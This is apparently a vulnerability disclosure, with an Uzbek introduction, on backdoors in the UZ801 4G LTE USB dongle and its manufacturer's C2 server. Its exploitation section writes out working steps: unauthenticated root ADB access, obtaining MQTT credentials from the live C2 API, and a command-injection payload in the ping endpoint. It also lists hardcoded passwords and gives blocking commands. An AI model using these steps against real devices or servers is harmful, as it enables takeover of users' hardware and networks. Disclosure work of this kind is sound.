Xitoy dasturiy ta'minotidagi backdoorlar sizni kuzatmoqda

O'zbekiston bozorlarida 10,000+ dona sotilgan UZ801 4G WiFi qurilmasi aslida josuslik vositasi ekan. Tadqiqotimizda 12 ta backdoor, 5 ta hardcoded parol va Xitoyga real-time ma'lumot uzatish tizimi aniqlandi.Qurilma ishlab chiqaruvchisi (Elinktek, Shenzhen) sizning IMEI, SIM karta, GPS joylashuv va WiFi parolingizni masofadan o'qiy oladi, qurilmani o'chirib yoki factory reset qila oladi. Ushbu maqolada muammoning to'liq texnik tahlili, kod namunalari va himoya choralari keltirilgan.

Summary

UZ801 LTE Dongle contains multiple backdoors allowing the Chinese manufacturer to remotely control devices sold in Uzbekistan.

Field Value
Device UZ801 4G LTE USB Dongle (UFI003)
Manufacturer Elinktek (Shenzhen, China)
Backdoors Found 12
Hardcoded Credentials 5
C2 Server imei.elinktek.cn (47.98.201.48)
Affected Devices 10,000+ in Uzbekistan
Severity Critical

Vulnerability Details

The device runs Android 4.4.4 on Qualcomm MSM8916 and connects to a Command & Control server in China every 24 hours.

Backdoor 1: Remote Reboot/Factory Reset

The C2 server can send `action` field with value `reboot` or `factory-reset`. The device executes these commands without any validation.

Backdoor 2: Remote Password Change

The C2 server can change admin password via `loginPassword` field and WiFi password via `wifiPassword` field in the API response.

Backdoor 3: MQTT Real-time Control

The device connects to MQTT broker at `imei.elinktek.cn:1883` for real-time command execution.

Backdoor 4: Command Injection

The ping diagnostic function passes user input directly to shell without sanitization.

Affected Components

* `ElinkDeviceAuthManager.java` — C2 communication * `ElinkMqttManager.java` — MQTT control * `InternetState.java` — Command injection * `/system/etc/gps.conf` — GPS tracking to China

Exploitation

Prerequisites

* Physical access to UZ801 device or network access to 192.168.100.1 * ADB installed on attacker machine

Step 1: Connect via ADB

The device exposes unauthenticated ADB on port 10242:

```http adb connect 192.168.100.1:10242 ```

Verify root access:

```http adb shell id ```

Response:

```http uid=0(root) gid=0(root) ```

Step 2: Extract APK Files

Pull the main application for analysis:

```http adb pull /system/app/NanoWeb/NanoWeb.apk ```

Decompile with JADX to examine source code.

Step 3: Identify C2 Server

In `ElinkDeviceAuthManager.java`, the hardcoded C2 URL:

```http http://imei.elinktek.cn:8090/wa/v2/reportIMEI ```

Port scan confirms active services:

```http PORT STATE SERVICE 1883/tcp open mqtt 8090/tcp open http ```

Step 4: Test C2 API

Send device registration request:

```http POST /wa/v2/reportIMEI HTTP/1.1 Host: 47.98.201.48:8090 Content-Type: application/json

{“imei”:“868593071706076”,“deviceSn”:“100000017F3682”,“mac”:“5c:a0:02:45:b8:22”} ```

Response contains MQTT credentials:

```http HTTP/1.1 200 OK

{“state”:0,“msg”:“匹配成功”,“obj”:{“mqttClientId”:“100000017F3682:4517156b”,“mqttPassword”:“100000017F3682:4517156b”}} ```

Step 5: Connect to MQTT Broker

Using extracted credentials:

```http Host: 47.98.201.48 Port: 1883 ClientID: 100000017F3682:4517156b Password: 100000017F3682:4517156b ```

Result: `CONNECTION ACCEPTED (0x20020000)`

Full device control via MQTT is now possible.

Step 6: Test Command Injection

The ping function in web interface is vulnerable:

```http GET /api/ping?pingAddress=8.8.8.8;id HTTP/1.1 Host: 192.168.100.1 ```

Response contains:

```http uid=0(root) gid=0(root) ```

Result: Remote code execution as root.

Impact

An attacker with knowledge of device IMEI can:

* Reboot or factory reset device remotely * Change admin and WiFi passwords * Execute arbitrary commands as root * Track GPS location via China Mobile servers * Monitor all network traffic

Attack Requirements:

* Only device IMEI and serial number needed * No authentication required * C2 server is publicly accessible

Hardcoded Credentials

Purpose Password
Web admin admin
WiFi default 1234567890
IMEI change zxcvbn
SIM switch zx

Remediation

Block C2 servers:

```http adb shell “echo ‘127.0.0.1 imei.elinktek.cn’ >> /system/etc/hosts” adb shell “iptables -A OUTPUT -d 47.98.201.48 -j DROP” adb shell “iptables -A OUTPUT -p tcp –dport 1883 -j DROP” ```

Additional steps:

* Change all default passwords * Flash alternative firmware (OpenWrt/OpenStick) * Replace device with trusted hardware

References


Security research for educational purposes only.